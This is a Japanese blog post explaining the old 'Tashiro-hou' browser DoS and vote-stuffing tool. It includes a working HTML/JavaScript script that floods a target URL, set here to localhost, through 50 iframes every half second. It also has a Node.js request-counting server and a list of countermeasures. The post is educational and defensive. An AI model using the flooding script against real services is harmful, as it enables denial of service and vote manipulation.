🐧

田代砲とは何なのか、仕組みと対策について考える

2023/12/12に公開

セキュリティ関連の勉強をするときに名前を良く見る田代砲。
田代砲の仕組みと実装方法についてネットから拾える情報から実装や対策方法について考えていきます。

そもそも田代砲とはなんなのか

このウェブサイトによると、
田代砲とはブラウザ上で実行できるDoS攻撃、多重投票用を行うためのHTMLのことを指しているようです。

どうして田代砲と呼ばれているのかについてはWikipedia等でも解説されているので歴史的経緯が気になる方はこちらも併せてお読みください。

DoS攻撃の典型例としてよく名前が上がりますが、現在ではDoS攻撃としての側面は色褪せてしまい、どちらかといえば対策が杜撰なネット投票に対する多重投票のためのツールとしてしか効果がなさそうです。
ただ、最近では多重投票対策を行なっているサイトが増えたのか、インターネット利用者のモラルが向上したのか田代砲が利用された例はそこまでなさそうです。

もちろん、あまりにセキュリティ対策が杜撰だと現代でも田代砲が通用してしまう可能性はありますが、、、

田代砲の仕組み

本物のソースコードを探したかったんですが、いくつかバージョンがあるらしくネットで拾い集めた情報を元に、解説に最低限必要な実装を作成しました。

このウェブサイトの情報や、50連打田代砲の実装を確認したところ、複数のiframeを利用して高速にリクエストを送信することでサーバーに負担をかける、または大量の投票を行うという仕組みのようです。

私が資料から復元した、後期の田代砲から利便性を排除した最小限の実装を示します。
今回実装したもの以外にも攻撃対象のURLを入力欄で変更したり、停止機能がついていたり、リクエストの間隔を変更できる機能があったようですが、今回の記事は原理の解説に留めたいのでそういった便利機能の解説はしません。

ソースコードを読めばわかると思いますが、以下のよう流れで動きます。

  1. 攻撃用にiframe要素を複数個生成する。(今回のプログラムでは50個)
  2. 攻撃用のURLを生成し、iframe要素のcontentWindow.location.hrefを書き換える。その際、URLが完全に一致しているとブラウザのキャッシュ機能が働くので、ダミーのパラメーターを付け加えています。
  3. 一定間隔で2を繰り返す(再帰にするとブラウザが停止します)。
<html>

<body>
  <div id="iframe-container"></div>
  <script>
    // iframe要素を50個生成する
    const numberOfIframe = 50;
    const iframeContainer = document.getElementById("iframe-container");
    for (let i = 0; i < numberOfIframe; i++) {
      const iframeElement = document.createElement("iframe");
      iframeElement.width = 10;
      iframeElement.height = 10;
      iframeElement.name = "iframe-to-attack";
      iframeContainer.append(iframeElement);
    }
    const iframeElements = document.getElementsByName("iframe-to-attack");
    /**
     * 攻撃用の関数
     * 1回の攻撃で上で生成したiframe要素の数だけリクエストを生成する
     */
    function attack() {
      for (let iframeElement of iframeElements) {
        // 田代砲の被害に遭うURL
        const victim = "http://localhost:3000";
        // ブラウザのキャッシュ機能を無効化するためにダミーのクエリパラメータを付与する
        iframeElement.contentWindow.location.href = `${victim}?dummy_param=${Math.random()}`;
      }
    }
    // 0.5秒に1回攻撃する
    const attackInterval = 0.5 * 1000;
    setInterval(attack, attackInterval);
  </script>
</body>

</html>

正直、これだけならパフォーマンスの良い言語で並行処理を頑張ったほうが効率よく攻撃できるんじゃないか?という気はしますが、ブラウザを利用する手軽さによって2chで大人数が遊び半分で攻撃でき単なるDos攻撃からDDoS攻撃への昇華しやすさや、特定のサイト向けに改良したスクリプトを配布するだけで実行環境を用意することなく誰もが利用できるようにできる手軽さが良くなかったんだろうなと感じます。

現代では田代砲がDoS攻撃にあたり、犯罪行為であるという認識がある程度広まっていると思われるため、こういった扇動的な手法もなかなか効力を発揮しにくくなっているんじゃないかなと思います。

計測方法

以下は田代砲によるリクエスト回数を計測するためのスクリプトです。Node.jsをインストールしていれば、スクリプトをindex.jsという名前のファイルにコピーして、コマンドラインからnode index.jsを実行すれば起動できます。

const http = require("http");

/** 現在のリクエストの総数 */
let count = 0;
/** 1秒前のリクエストの総数 */
let prevCount = 0;
const server = http.createServer((request, response) => {
  count++;
  response.writeHead(200, {
    "Content-Type": "text/html",
    // ブラウザに10秒間キャッシュするように指示
    "Cache-Control": "max-age=10"
  });
  response.end("<h1>Hello World</h1>");
});
setInterval(() => {
  console.log(`
  リクエストの総数:${count}
  1秒間のリクエスト数:${count - prevCount}
  `);
  prevCount = count;
},1000)

server.listen(3000);

田代砲のHTMLファイルをブラウザにドラッグ&ドロップすれば、コマンドラインにリクエスト回数が表示されていきます。

対策

では、対策について考えていきたいと思います。
ただし、これはあくまで私が調べた範囲内での対策であり、万全ではない可能性があります。
自身の所属する組織や、利用しているクラウドプロバイダーなどから適切なアドバイスを受けた上で対策を実施してください(丸投げ)。

田代砲には2つの側面があります。

  1. DoS攻撃
  2. 多重投票

また、田代砲より高性能なものが存在する・作成可能なため田代砲に対して対策するだけでは不十分です。

DoS攻撃への対策

さっきからDoSDoS言っているけれど、それって何なのさ?となる人もいると思います。
DoS攻撃とはdenial-of-service attackのことで、サービス拒否攻撃やサービス妨害攻撃などと訳されます。
要するにサーバーにリクエストをたくさん投げて(実はたくさん投げるだけじゃない手法もある)サービスを提供不可な状態にしてやろうという攻撃です。
その方法は日々進化していて、今なお新しい攻撃手法が開発されているらしいです。
最近、私が怖ーとなったのはHTTP/2の脆弱性をついた、これとか良く考えるなーとなりました(現在は修正済みで、適切にパッチをあてているサービスであれば対策できているはずです)。

だいたいはクラウドプロバイダーで適切な設定をすればいい感じに守ってもらえるみたいです。

オンプレの場合は調べてみた感じWAFを置くのが主流っぽかったです。
ざっと調べた感じだと以下とかが良さげな感じしました(ステマじゃないよ!)。

多重投票への対策

こちらは何らかの方法で投票者を識別し、1人の投票数を制限するしかなさそうです。
効果が高いものは投票者の利便性を損ね、効果の低いものは抜け道があるのでトレードオフの関係にありそうです。
会員制サービス等ではログインしたユーザーからの投票を受け付ければいいと思いますが、人気投票などの一時的な投票サービスだと悩ましいですね。

たとえば、パッと思いつく範囲だと以下のような解決策があると思います。

  1. 田代砲のようなスクリプトが簡単に作成できるようなページ、APIにしない。GETリクエストでの投票やiframe内でのフォーム操作ができるようになっていると結構簡単に作れそうです。X-Frame-Optionsを適切に設定すれば田代砲に類似のiframeを利用した攻撃は防げそうです(フォームの操作などは防げますがリクエスト自体はサーバーに届きます)。
  2. ログインを必須とし、1会員の投票数を制限する。ただし、これは1人が複数アカウントを持つ可能性がありますね。
  3. 購入と投票をセットにし、QRコードなどと結びつける。こちらは確実に投票数を制限できるので良さそうですね。1人1投票は達成できませんが、機能要件として問題ないのであれば、ありな気がします。販促にもなりますし。
  4. メール認証。こちらは簡単に複数のメールアドレスを持てますし、複数投票するための抜け道がわかりやすいのであまりいけてないと思います。
  5. SMS認証。これは割と1人1投票に近づけれる気がしますね。プライベートで携帯電話2台持ちはそこまで多くない印象です。余程厳重に対策しないと完全な1人1票は達成できないと思うので、どこかで妥協したほうがコスパは良さそうですね。
  6. Cookieやローカルストレージに情報を保管する。こういうのはかなり手軽に消せますが、エンジニア以外には割と効果的かなと思います。田代砲に関して言えば、HttpOnly属性が付与されたCookieの操作はできないので、効果的です。
  7. 運転免許証などの身分証などを利用する。こちらはオペレータによる確認なども必要なケースも多いと思いますし、コストも結構かかるかもしれないですね。
  8. そもそも対策しない。上記であげた対策方法は1のような最低限のセキュリティ対策以外はそこそこ面倒なものなので、思い切って対策しないというのも手だと思います。学祭の投票くらいなら許されると思います。被害にあったらめっちゃ白けそうですが。

まとめ&感想

簡単なスクリプトを利用してブラウザだけで毎秒100件以上のリクエストを送信できるの怖いなーとなりますね。

名前はよく聞くけど、仕組みや実装などはよくわからなかった田代砲について調べてみたことでDoS攻撃についての知見が少し深まった気がします。
古い攻撃方法なだけあってシンプルでわかりやすくて取っ付きやすかったです。
エンジニアとして最低限のセキュリティ対策等は知っておきたいと思っているので良い勉強になりました。

Discussion